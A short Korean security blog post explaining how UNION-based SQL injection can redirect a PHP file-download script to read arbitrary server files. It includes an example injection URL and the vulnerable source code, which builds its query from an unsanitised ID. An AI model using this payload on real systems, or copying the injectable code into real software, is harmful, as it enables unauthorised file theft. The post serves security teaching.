○ SQL Injection을 통한 파일 다운로드

Null-Based Union을 통한 파일 다운로드

웹 애플리케이션의 파일 다운로드 로직이 구현되어 있고 DB에 경로 정보가 저장되어 있을 경우 union을 통하여 경로 정보를 변경하여 파일 다운로드가 가능하다.

→ Filedownload.php?boardFileID=33 and 1=2 union select null,filepath,null....

    and 1=2는 앞의 질의 결과는 Null로 만들기 위함
    파일 다운로드 로직은 에러를 유발하였을 경우 절대경로 정보가 노출되는 경우가 많음

※ Filedownload.php 소스코드

<?
    $query = "SELECT * FROM board_file WHERE boardFileID=$boardFileID";
    $result = mysql_query($query);
    $row=mysql_fetch_array($result);

    $cutFilename = 22;

    $fileURL = $row[fileURL];
    $fileName = substr($row[fileURL], $cutFilename);


    header("Content-type: file/unknown");
    header("Content-Disposition: attachment; filename=".$fileName);
    header("Content-Description: PHP5 Generated Data");
    header("Pragma: no-cache");
    header("Expires: 0");
    header("Cache-Control: must-revalidate, post-check=0,pre-check=0");
    header("Pragma: public");

    $fp = fopen("$fileURL", "r");
    if(!fpassthru($fp)) fclose($fp);
    exit;
?>



Posted by n3015m
:
BLOG main image
'네오이즘'의 보안LAB 블로그입니다........... n3oism@gmail.com by n3015m

카테고리

분류 전체보기 (228)
[ HappyDevTool ] (29)
[ HappyToolRelease ] (4)
[Book] (6)
[ Security Studies ] (0)
- CII (2)
- BigData (2)
- Web Hacking (10)
- SQL Injection (25)
- Mobile Security (9)
- Network (6)
- OperatingSystem (4)
- Malware & Reversing (4)
- Phishing (5)
- Compliance (0)
- Programming (13)
- Tools (13)
- IoT (6)
- etc (21)
[Pentration Testing] (3)
[OS X] (4)
[ Security Trends ] (16)
[ Fixing Guideline ] (7)
My Way, My Life (34)
About Me (2)

최근에 올라온 글

최근에 달린 댓글

최근에 받은 트랙백

Total :
Today : Yesterday :